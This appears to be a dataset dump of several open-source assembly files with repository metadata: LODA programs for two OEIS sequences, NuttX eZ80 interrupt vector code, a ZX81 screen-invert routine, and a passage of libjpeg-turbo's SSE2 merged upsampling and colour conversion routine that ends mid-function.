"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/004/A004739.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/004/A004739.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A004739: Concatenation of sequences (1,2,2,...,n-1,n-1,n,n,n-1,n-1,...,2,2,1) for n >= 1.
; 1,1,1,2,2,1,1,2,3,3,2,1,1,2,3,4,4,3,2,1,1,2,3,4,5,5,4,3,2,1,1,2,3,4,5,6,6,5,4,3,2,1,1,2,3,4,5,6,7,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,11,11,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,11,12,12,11,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,11,12,13,13,12,11,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,14,13,12,11,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,1,2,3,4,5,6,7,8,9,10
lpb $0
add $1,1
add $2,$1
trn $2,$0
sub $0,$1
trn $0,1
add $0,$2
add $1,1
lpe
mov $1,$0
add $1,1
| 49.933333 | 544 | 0.53004 |
b876f11272c80e8c0b7968966d85eb55a4cc5e5e | 12,203 | asm | Assembly | arch/z80/src/ez80/ez80_vectors.asm | CrossStream/incubator-nuttx | 16426d3872f38100965019a21c93795b28969601 | [
"MIT"
] | null | null | null | arch/z80/src/ez80/ez80_vectors.asm | CrossStream/incubator-nuttx | 16426d3872f38100965019a21c93795b28969601 | [
"MIT"
] | null | null | null | arch/z80/src/ez80/ez80_vectors.asm | CrossStream/incubator-nuttx | 16426d3872f38100965019a21c93795b28969601 | [
"MIT"
] | null | null | null | ;**************************************************************************
; arch/z80/src/ez80/ez80_vectors.asm
;
; Copyright (C) 2008-2009 Gregory Nutt. All rights reserved.
; Author: Gregory Nutt <gnutt@nuttx.org>
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; 3. Neither the name NuttX nor the names of its contributors may be
; used to endorse or promote products derived from this software
; without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
; COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;**************************************************************************
;**************************************************************************
; Constants
;**************************************************************************
NVECTORS EQU 64 ; max possible interrupt vectors
;* Bits in the Z80 FLAGS register *****************************************
EZ80_C_FLAG EQU 01h ; Bit 0: Carry flag
EZ80_N_FLAG EQU 02h ; Bit 1: Add/Subtract flag
EZ80_PV_FLAG EQU 04h ; Bit 2: Parity/Overflow flag
EZ80_H_FLAG EQU 10h ; Bit 4: Half carry flag
EZ80_Z_FLAG EQU 40h ; Bit 5: Zero flag
EZ80_S_FLAG EQU 80h ; Bit 7: Sign flag
;* The IRQ number to use for unused vectors
EZ80_UNUSED EQU 40h
;**************************************************************************
; Global Symbols Imported
;**************************************************************************
xref _ez80_startup
xref _z80_doirq
;**************************************************************************
; Global Symbols Exported
;**************************************************************************
xdef _ez80_reset
xdef _ez80_initvectors
xdef _ez80_handlers
xdef _ez80_rstcommon
xdef _ez80_initvectors
xdef _ez80_vectable
;**************************************************************************
; Macros
;**************************************************************************
; Define one reset handler
; 1. Disable interrupts
; 2. Dlear mixed memory mode (MADL) flag
; 3. jump to initialization procedure with jp.lil to set ADL
rstvector: macro
di
rsmix
jp.lil _ez80_startup
endmac rstvector
; Define one interrupt handler
irqhandler: macro vectno
; Save AF on the stack, set the interrupt number and jump to the
; common reset handling logic.
; Offset 8: Return PC is already on the stack
push af ; Offset 7: AF (retaining flags)
ld a, #vectno ; A = vector number
jp _ez80_rstcommon ; Remaining RST handling is common
endmac irqhandler
;**************************************************************************
; Reset entry points
;**************************************************************************
define .RESET, space = ROM
segment .RESET
_ez80_reset:
_rst0:
rstvector
_rst8:
rstvector
_rst10:
rstvector
_rst18:
rstvector
_rst20:
rstvector
_rst28:
rstvector
_rst30:
rstvector
_rst38:
rstvector
ds %26
_nmi:
retn
;**************************************************************************
; Startup logic
;**************************************************************************
define .STARTUP, space = ROM
segment .STARTUP
.assume ADL=1
;**************************************************************************
; Interrupt Vector Handling
;**************************************************************************
; Symbol Val VecNo Addr
;----------------- --- ----- -----
_ez80_handlers:
irqhandler 0 ; EZ80_EMACRX_IRQ 0 0 0x040
handlersize equ $-_ez80_handlers
irqhandler 1 ; EZ80_EMACTX_IRQ 1 1 0x044
irqhandler 2 ; EZ80_EMACSYS_IRQ 2 2 0x048
irqhandler 3 ; EZ80_PLL_IRQ 3 3 0x04c
irqhandler 4 ; EZ80_FLASH_IRQ 4 4 0x050
irqhandler 5 ; EZ80_TIMER0_IRQ 5 5 0x054
irqhandler 6 ; EZ80_TIMER1_IRQ 6 6 0x058
irqhandler 7 ; EZ80_TIMER2_IRQ 7 7 0x05c
irqhandler 8 ; EZ80_TIMER3_IRQ 8 8 0x060
irqhandler EZ80_UNUSED ; 9 0x064
irqhandler EZ80_UNUSED+1 ; 10 0x068
irqhandler 9 ; EZ80_RTC_IRQ 9 11 0x06C
irqhandler 10 ; EZ80_UART0_IRQ 10 12 0x070
irqhandler 11 ; EZ80_UART1_IRQ 11 13 0x074
irqhandler 12 ; EZ80_I2C_IRQ 12 14 0x078
irqhandler 13 ; EZ80_SPI_IRQ 13 15 0x07c
irqhandler 14 ; EZ80_PORTA0_IRQ 14 16 0x080
irqhandler 15 ; EZ80_PORTA1_IRQ 15 17 0x084
irqhandler 16 ; EZ80_PORTA2_IRQ 16 18 0x088
irqhandler 17 ; EZ80_PORTA3_IRQ 17 19 0x08c
irqhandler 18 ; EZ80_PORTA4_IRQ 18 20 0x090
irqhandler 19 ; EZ80_PORTA5_IRQ 19 21 0x094
irqhandler 20 ; EZ80_PORTA6_IRQ 20 22 0x098
irqhandler 21 ; EZ80_PORTA7_IRQ 21 23 0x09c
irqhandler 22 ; EZ80_PORTB0_IRQ 22 24 0x0a0
irqhandler 23 ; EZ80_PORTB1_IRQ 23 25 0x0a4
irqhandler 24 ; EZ80_PORTB2_IRQ 24 26 0x0a8
irqhandler 25 ; EZ80_PORTB3_IRQ 25 27 0x0ac
irqhandler 26 ; EZ80_PORTB4_IRQ 26 28 0x0b0
irqhandler 27 ; EZ80_PORTB5_IRQ 27 29 0x0b4
irqhandler 28 ; EZ80_PORTB6_IRQ 28 20 0x0b8
irqhandler 29 ; EZ80_PORTB7_IRQ 29 21 0x0bc
irqhandler 30 ; EZ80_PORTC0_IRQ 30 22 0x0c0
irqhandler 31 ; EZ80_PORTC1_IRQ 31 23 0x0c4
irqhandler 32 ; EZ80_PORTC2_IRQ 32 24 0x0c8
irqhandler 33 ; EZ80_PORTC3_IRQ 33 25 0x0cc
irqhandler 34 ; EZ80_PORTC4_IRQ 34 26 0x0d0
irqhandler 35 ; EZ80_PORTC5_IRQ 35 27 0x0d4
irqhandler 36 ; EZ80_PORTC6_IRQ 36 28 0x0d8
irqhandler 37 ; EZ80_PORTC7_IRQ 37 29 0x0dc
irqhandler 38 ; EZ80_PORTD0_IRQ 38 40 0x0e0
irqhandler 39 ; EZ80_PORTD1_IRQ 39 41 0x0e4
irqhandler 40 ; EZ80_PORTD2_IRQ 40 42 0x0e8
irqhandler 41 ; EZ80_PORTD3_IRQ 41 43 0x0ec
irqhandler 42 ; EZ80_PORTD4_IRQ 42 44 0x0f0
irqhandler 43 ; EZ80_PORTD5_IRQ 43 45 0x0f4
irqhandler 44 ; EZ80_PORTD6_IRQ 44 46 0x0f8
irqhandler 45 ; EZ80_PORTD7_IRQ 45 47 0x0fc
irqhandler EZ80_UNUSED+1 ; 48 0x100
irqhandler EZ80_UNUSED+2 ; 49 0x104
irqhandler EZ80_UNUSED+3 ; 50 0x108
irqhandler EZ80_UNUSED+4 ; 51 0x10c
irqhandler EZ80_UNUSED+5 ; 52 0x110
irqhandler EZ80_UNUSED+6 ; 53 0x114
irqhandler EZ80_UNUSED+7 ; 54 0x118
irqhandler EZ80_UNUSED+8 ; 55 0x11c
irqhandler EZ80_UNUSED+9 ; 56 0x120
irqhandler EZ80_UNUSED+10 ; 57 0x124
irqhandler EZ80_UNUSED+11 ; 58 0x128
irqhandler EZ80_UNUSED+12 ; 59 0x12c
irqhandler EZ80_UNUSED+13 ; 60 0x130
irqhandler EZ80_UNUSED+14 ; 61 0x134
irqhandler EZ80_UNUSED+15 ; 62 0x138
irqhandler EZ80_UNUSED+16 ; 63 0x13c
;**************************************************************************
; Common Interrupt handler
;**************************************************************************
_ez80_rstcommon:
; Create a register frame. SP points to top of frame + 4, pushes
; decrement the stack pointer. Already have
;
; Offset 8: Return PC is already on the stack
; Offset 7: AF (retaining flags)
;
; IRQ number is in A
push hl ; Offset 6: HL
ld hl, #(3*3) ; HL is the value of the stack pointer before
add hl, sp ; the interrupt occurred (3 for PC, AF, HL)
push hl ; Offset 5: Stack pointer
push iy ; Offset 4: IY
push ix ; Offset 3: IX
push de ; Offset 2: DE
push bc ; Offset 1: BC
; At this point, we know that interrupts were enabled (or we wouldn't be here
; so we can save a fake indicationn that will cause interrupts to restored when
; this context is restored
ld bc, #EZ80_PV_FLAG ; Parity bit. 1=parity odd, IEF2=1
push bc ; Offset 0: I with interrupt state in parity
di ; (not necessary)
; Call the interrupt decode logic. SP points to the beggining of the reg structure
ld hl, #0 ; Argument #2 is the beginning of the reg structure
add hl, sp ;
push hl ; Place argument #2 at the top of stack
ld bc, #0 ; BC = reset number
ld c, a ; Save the reset number in C
push bc ; Argument #1 is the Reset number
call _z80_doirq ; Decode the IRQ
; On return, HL points to the beginning of the reg structure to restore
; Note that (1) the arguments pushed on the stack are not popped, and (2) the
; original stack pointer is lost. In the normal case (no context switch),
; HL will contain the value of the SP before the arguments were pushed.
ld sp, hl ; Use the new stack pointer
; Restore registers. HL points to the beginning of the reg structure to restore
ex af, af' ; Select alternate AF
pop af ; Offset 0: AF' = I with interrupt state in parity
ex af, af' ; Restore original AF
pop bc ; Offset 1: BC
pop de ; Offset 2: DE
pop ix ; Offset 3: IX
pop iy ; Offset 4: IY
exx ; Use alternate BC/DE/HL
pop hl ; Offset 5: HL' = Stack pointer after return
exx ; Restore original BC/DE/HL
pop hl ; Offset 6: HL
pop af ; Offset 7: AF
; Restore the stack pointer
exx ; Use alternate BC/DE/HL
pop de ; Offset 8: Return address
ld sp, hl ; Set SP = saved stack pointer value before return
push de ; Set up for reti
exx ; Restore original BC/DE/HL
; Restore interrupt state
ex af, af' ; Recover interrupt state
jp po, nointenable ; Odd parity, IFF2=0, means disabled
ex af, af' ; Restore AF (before enabling interrupts)
ei ; yes
reti
nointenable:
ex af, af' ; Restore AF
reti
;**************************************************************************
; Vector Setup Logic
;**************************************************************************
_ez80_initvectors:
; Initialize the vector table
ld iy, _ez80_vectable
ld ix, 4
ld bc, 4
ld b, NVECTORS
xor a, a ; Clear carry
ld hl, handlersize
ld de, _ez80_handlers
sbc hl, de ; Length of irq handler in hl
ld d, h
ld e, l
ld hl, _ez80_handlers ; Start of handlers in hl
ld a, 0
$1:
ld (iy), hl ; Store IRQ handler
ld (iy+3), a ; Pad to 4 bytes
add hl, de ; Point to next handler
push de
ld de, 4
add iy, de ; Point to next entry in vector table
pop de
djnz $1 ; Loop until all vectors have been written
; Select interrupt mode 2
im 2 ; Interrupt mode 2
; Write the address of the vector table into the interrupt vector base
ld hl, _ez80_vectable >> 8
ld i, hl
ret
;**************************************************************************
; Vector Table
;**************************************************************************
; This segment must be aligned on a 512 byte boundary anywhere in RAM
; Each entry will be a 3-byte address in a 4-byte space
define .IVECTS, space = RAM, align = 200h
segment .IVECTS
; The first 64 bytes are not used... the vectors actually start at +0x40
_ez80_vecreserve:
ds 64
_ez80_vectable:
ds NVECTORS * 4
| 35.785924 | 83 | 0.58756 |
0fa051dc293e17d19f7afb0dbf8b94c59f129725 | 529 | asm | Assembly | libsrc/graphics/zx81/hr/invhrg.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/graphics/zx81/hr/invhrg.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/graphics/zx81/hr/invhrg.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z | ;--------------------------------------------------------------
; WRX16K style Graphics
; for the ZX81
;--------------------------------------------------------------
;
; Invert screen output
;
; Stefano - Jan 2009
;
;
; $Id: invhrg.asm,v 1.3 2016/06/27 20:26:33 dom Exp $
;
SECTION code_clib
PUBLIC invhrg
PUBLIC _invhrg
EXTERN HRG_LineStart
invhrg:
_invhrg:
ld b,32
ld hl,HRG_LineStart
inc hl
invloop:
inc hl
ld a,(hl)
xor 128
ld (hl),a
djnz invloop
ret
| 16.53125 | 63 | 0.448015 |
4eae010722a989608df87f561364516e7b43d236 | 542 | asm | Assembly | oeis/010/A010804.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/010/A010804.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/010/A010804.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A010804: 16th powers: a(n) = n^16.
; 0,1,65536,43046721,4294967296,152587890625,2821109907456,33232930569601,281474976710656,1853020188851841,10000000000000000,45949729863572161,184884258895036416,665416609183179841,2177953337809371136,6568408355712890625,18446744073709551616,48661191875666868481,121439531096594251776,288441413567621167681,655360000000000000000,1430568690241985328321,3011361496339065143296,6132610415680998648961,12116574790945106558976,23283064365386962890625,43608742899428874059776,79766443076872509863361
pow $0,16
| 108.4 | 493 | 0.907749 |
eb3ab9dbd945c2fc83cbb2100836c449169b3b7e | 20,681 | asm | Assembly | simd/x86_64/jdmrgext-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 3,597 | 2015-01-01T07:16:18.000Z | 2022-03-31T09:10:04.000Z | simd/x86_64/jdmrgext-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 554 | 2015-07-27T22:30:34.000Z | 2022-03-29T20:05:23.000Z | simd/x86_64/jdmrgext-sse2.asm | t-head-aosp/platform-external-libjpeg-turbo | 3457af89e30cd924f687c412c6797aa63ed0c1e3 | [
"Zlib"
] | 942 | 2015-07-27T23:13:52.000Z | 2022-03-31T14:11:23.000Z | ;
; jdmrgext.asm - merged upsampling/color conversion (64-bit SSE2)
;
; Copyright 2009, 2012 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright (C) 2009, 2012, 2016, D. R. Commander.
; Copyright (C) 2018, Matthias Räncker.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
%include "jcolsamp.inc"
; --------------------------------------------------------------------------
;
; Upsample and color convert for the case of 2:1 horizontal and 1:1 vertical.
;
; GLOBAL(void)
; jsimd_h2v1_merged_upsample_sse2(JDIMENSION output_width,
; JSAMPIMAGE input_buf,
; JDIMENSION in_row_group_ctr,
; JSAMPARRAY output_buf);
;
; r10d = JDIMENSION output_width
; r11 = JSAMPIMAGE input_buf
; r12d = JDIMENSION in_row_group_ctr
; r13 = JSAMPARRAY output_buf
%define wk(i) rbp - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM]
%define WK_NUM 3
align 32
GLOBAL_FUNCTION(jsimd_h2v1_merged_upsample_sse2)
EXTN(jsimd_h2v1_merged_upsample_sse2):
push rbp
mov rax, rsp ; rax = original rbp
sub rsp, byte 4
and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits
mov [rsp], rax
mov rbp, rsp ; rbp = aligned rbp
lea rsp, [wk(0)]
collect_args 4
push rbx
mov ecx, r10d ; col
test rcx, rcx
jz near .return
push rcx
mov rdi, r11
mov ecx, r12d
mov rsip, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY]
mov rbxp, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY]
mov rdxp, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY]
mov rdi, r13
mov rsip, JSAMPROW [rsi+rcx*SIZEOF_JSAMPROW] ; inptr0
mov rbxp, JSAMPROW [rbx+rcx*SIZEOF_JSAMPROW] ; inptr1
mov rdxp, JSAMPROW [rdx+rcx*SIZEOF_JSAMPROW] ; inptr2
mov rdip, JSAMPROW [rdi] ; outptr
pop rcx ; col
.columnloop:
movdqa xmm6, XMMWORD [rbx] ; xmm6=Cb(0123456789ABCDEF)
movdqa xmm7, XMMWORD [rdx] ; xmm7=Cr(0123456789ABCDEF)
pxor xmm1, xmm1 ; xmm1=(all 0's)
pcmpeqw xmm3, xmm3
psllw xmm3, 7 ; xmm3={0xFF80 0xFF80 0xFF80 0xFF80 ..}
movdqa xmm4, xmm6
punpckhbw xmm6, xmm1 ; xmm6=Cb(89ABCDEF)=CbH
punpcklbw xmm4, xmm1 ; xmm4=Cb(01234567)=CbL
movdqa xmm0, xmm7
punpckhbw xmm7, xmm1 ; xmm7=Cr(89ABCDEF)=CrH
punpcklbw xmm0, xmm1 ; xmm0=Cr(01234567)=CrL
paddw xmm6, xmm3
paddw xmm4, xmm3
paddw xmm7, xmm3
paddw xmm0, xmm3
; (Original)
; R = Y + 1.40200 * Cr
; G = Y - 0.34414 * Cb - 0.71414 * Cr
; B = Y + 1.77200 * Cb
;
; (This implementation)
; R = Y + 0.40200 * Cr + Cr
; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr
; B = Y - 0.22800 * Cb + Cb + Cb
movdqa xmm5, xmm6 ; xmm5=CbH
movdqa xmm2, xmm4 ; xmm2=CbL
paddw xmm6, xmm6 ; xmm6=2*CbH
paddw xmm4, xmm4 ; xmm4=2*CbL
movdqa xmm1, xmm7 ; xmm1=CrH
movdqa xmm3, xmm0 ; xmm3=CrL
paddw xmm7, xmm7 ; xmm7=2*CrH
paddw xmm0, xmm0 ; xmm0=2*CrL
pmulhw xmm6, [rel PW_MF0228] ; xmm6=(2*CbH * -FIX(0.22800))
pmulhw xmm4, [rel PW_MF0228] ; xmm4=(2*CbL * -FIX(0.22800))
pmulhw xmm7, [rel PW_F0402] ; xmm7=(2*CrH * FIX(0.40200))
pmulhw xmm0, [rel PW_F0402] ; xmm0=(2*CrL * FIX(0.40200))
paddw xmm6, [rel PW_ONE]
paddw xmm4, [rel PW_ONE]
psraw xmm6, 1 ; xmm6=(CbH * -FIX(0.22800))
psraw xmm4, 1 ; xmm4=(CbL * -FIX(0.22800))
paddw xmm7, [rel PW_ONE]
paddw xmm0, [rel PW_ONE]
psraw xmm7, 1 ; xmm7=(CrH * FIX(0.40200))
psraw xmm0, 1 ; xmm0=(CrL * FIX(0.40200))
paddw xmm6, xmm5
paddw xmm4, xmm2
paddw xmm6, xmm5 ; xmm6=(CbH * FIX(1.77200))=(B-Y)H
paddw xmm4, xmm2 ; xmm4=(CbL * FIX(1.77200))=(B-Y)L
paddw xmm7, xmm1 ; xmm7=(CrH * FIX(1.40200))=(R-Y)H
paddw xmm0, xmm3 ; xmm0=(CrL * FIX(1.40200))=(R-Y)L
movdqa XMMWORD [wk(0)], xmm6 ; wk(0)=(B-Y)H
movdqa XMMWORD [wk(1)], xmm7 ; wk(1)=(R-Y)H
movdqa xmm6, xmm5
movdqa xmm7, xmm2
punpcklwd xmm5, xmm1
punpckhwd xmm6, xmm1
pmaddwd xmm5, [rel PW_MF0344_F0285]
pmaddwd xmm6, [rel PW_MF0344_F0285]
punpcklwd xmm2, xmm3
punpckhwd xmm7, xmm3
pmaddwd xmm2, [rel PW_MF0344_F0285]
pmaddwd xmm7, [rel PW_MF0344_F0285]
paddd xmm5, [rel PD_ONEHALF]
paddd xmm6, [rel PD_ONEHALF]
psrad xmm5, SCALEBITS
psrad xmm6, SCALEBITS
paddd xmm2, [rel PD_ONEHALF]
paddd xmm7, [rel PD_ONEHALF]
psrad xmm2, SCALEBITS
psrad xmm7, SCALEBITS
packssdw xmm5, xmm6 ; xmm5=CbH*-FIX(0.344)+CrH*FIX(0.285)
packssdw xmm2, xmm7 ; xmm2=CbL*-FIX(0.344)+CrL*FIX(0.285)
psubw xmm5, xmm1 ; xmm5=CbH*-FIX(0.344)+CrH*-FIX(0.714)=(G-Y)H
psubw xmm2, xmm3 ; xmm2=CbL*-FIX(0.344)+CrL*-FIX(0.714)=(G-Y)L
movdqa XMMWORD [wk(2)], xmm5 ; wk(2)=(G-Y)H
mov al, 2 ; Yctr
jmp short .Yloop_1st
.Yloop_2nd:
movdqa xmm0, XMMWORD [wk(1)] ; xmm0=(R-Y)H
movdqa xmm2, XMMWORD [wk(2)] ; xmm2=(G-Y)H
movdqa xmm4, XMMWORD [wk(0)] ; xmm4=(B-Y)H
.Yloop_1st:
movdqa xmm7, XMMWORD [rsi] ; xmm7=Y(0123456789ABCDEF)
pcmpeqw xmm6, xmm6
psrlw xmm6, BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..}
pand xmm6, xmm7 ; xmm6=Y(02468ACE)=YE
psrlw xmm7, BYTE_BIT ; xmm7=Y(13579BDF)=YO
movdqa xmm1, xmm0 ; xmm1=xmm0=(R-Y)(L/H)
movdqa xmm3, xmm2 ; xmm3=xmm2=(G-Y)(L/H)
movdqa xmm5, xmm4 ; xmm5=xmm4=(B-Y)(L/H)
paddw xmm0, xmm6 ; xmm0=((R-Y)+YE)=RE=R(02468ACE)
paddw xmm1, xmm7 ; xmm1=((R-Y)+YO)=RO=R(13579BDF)
packuswb xmm0, xmm0 ; xmm0=R(02468ACE********)
packuswb xmm1, xmm1 ; xmm1=R(13579BDF********)
paddw xmm2, xmm6 ; xmm2=((G-Y)+YE)=GE=G(02468ACE)
paddw xmm3, xmm7 ; xmm3=((G-Y)+YO)=GO=G(13579BDF)
packuswb xmm2, xmm2 ; xmm2=G(02468ACE********)
packuswb xmm3, xmm3 ; xmm3=G(13579BDF********)
paddw xmm4, xmm6 ; xmm4=((B-Y)+YE)=BE=B(02468ACE)
paddw xmm5, xmm7 ; xmm5=((B-Y)+YO)=BO=B(13579BDF)
packuswb xmm4, xmm4 ; xmm4=B(02468ACE********)
packuswb xmm5, xmm5 ; xmm5=B(13579BDF********)
%if RGB_PIXELSIZE == 3 ; ---------------
; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **)
; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **)
; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **)
; xmmG=(** ** ** ** ** ** ** ** **), xmmH=(** ** ** ** ** ** ** ** **)
punpcklbw xmmA, xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E)
punpcklbw xmmE, xmmB ; xmmE=(20 01 22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F)
punpcklbw xmmD, xmmF ; xmmD=(11 21 13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F)
movdqa xmmG, xmmA
movdqa xmmH, xmmA
punpcklwd xmmA, xmmE ; xmmA=(00 10 20 01 02 12 22 03 04 14 24 05 06 16 26 07)
punpckhwd xmmG, xmmE ; xmmG=(08 18 28 09 0A 1A 2A 0B 0C 1C 2C 0D 0E 1E 2E 0F)
psrldq xmmH, 2 ; xmmH=(02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E -- --)
psrldq xmmE, 2 ; xmmE=(22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F -- --)
movdqa xmmC, xmmD
movdqa xmmB, xmmD
punpcklwd xmmD, xmmH ; xmmD=(11 21 02 12 13 23 04 14 15 25 06 16 17 27 08 18)
punpckhwd xmmC, xmmH ; xmmC=(19 29 0A 1A 1B 2B 0C 1C 1D 2D 0E 1E 1F 2F -- --)
psrldq xmmB, 2 ; xmmB=(13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F -- --)
movdqa xmmF, xmmE
punpcklwd xmmE, xmmB ; xmmE=(22 03 13 23 24 05 15 25 26 07 17 27 28 09 19 29)
punpckhwd xmmF, xmmB ; xmmF=(2A 0B 1B 2B 2C 0D 1D 2D 2E 0F 1F 2F -- -- -- --)
pshufd xmmH, xmmA, 0x4E ; xmmH=(04 14 24 05 06 16 26 07 00 10 20 01 02 12 22 03)
movdqa xmmB, xmmE
punpckldq xmmA, xmmD ; xmmA=(00 10 20 01 11 21 02 12 02 12 22 03 13 23 04 14)
punpckldq xmmE, xmmH ; xmmE=(22 03 13 23 04 14 24 05 24 05 15 25 06 16 26 07)
punpckhdq xmmD, xmmB ; xmmD=(15 25 06 16 26 07 17 27 17 27 08 18 28 09 19 29)
pshufd xmmH, xmmG, 0x4E ; xmmH=(0C 1C 2C 0D 0E 1E 2E 0F 08 18 28 09 0A 1A 2A 0B)
movdqa xmmB, xmmF
punpckldq xmmG, xmmC ; xmmG=(08 18 28 09 19 29 0A 1A 0A 1A 2A 0B 1B 2B 0C 1C)
punpckldq xmmF, xmmH ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 2C 0D 1D 2D 0E 1E 2E 0F)
punpckhdq xmmC, xmmB ; xmmC=(1D 2D 0E 1E 2E 0F 1F 2F 1F 2F -- -- -- -- -- --)
punpcklqdq xmmA, xmmE ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05)
punpcklqdq xmmD, xmmG ; xmmD=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A)
punpcklqdq xmmF, xmmC ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F)
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st32
test rdi, SIZEOF_XMMWORD-1
jnz short .out1
; --(aligned)-------------------
movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF
jmp short .out0
.out1: ; --(unaligned)-----------------
movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movdqu XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF
.out0:
add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr
sub rcx, byte SIZEOF_XMMWORD
jz near .endcolumn
add rsi, byte SIZEOF_XMMWORD ; inptr0
dec al ; Yctr
jnz near .Yloop_2nd
add rbx, byte SIZEOF_XMMWORD ; inptr1
add rdx, byte SIZEOF_XMMWORD ; inptr2
jmp near .columnloop
.column_st32:
lea rcx, [rcx+rcx*2] ; imul ecx, RGB_PIXELSIZE
cmp rcx, byte 2*SIZEOF_XMMWORD
jb short .column_st16
movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
add rdi, byte 2*SIZEOF_XMMWORD ; outptr
movdqa xmmA, xmmF
sub rcx, byte 2*SIZEOF_XMMWORD
jmp short .column_st15
.column_st16:
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st15
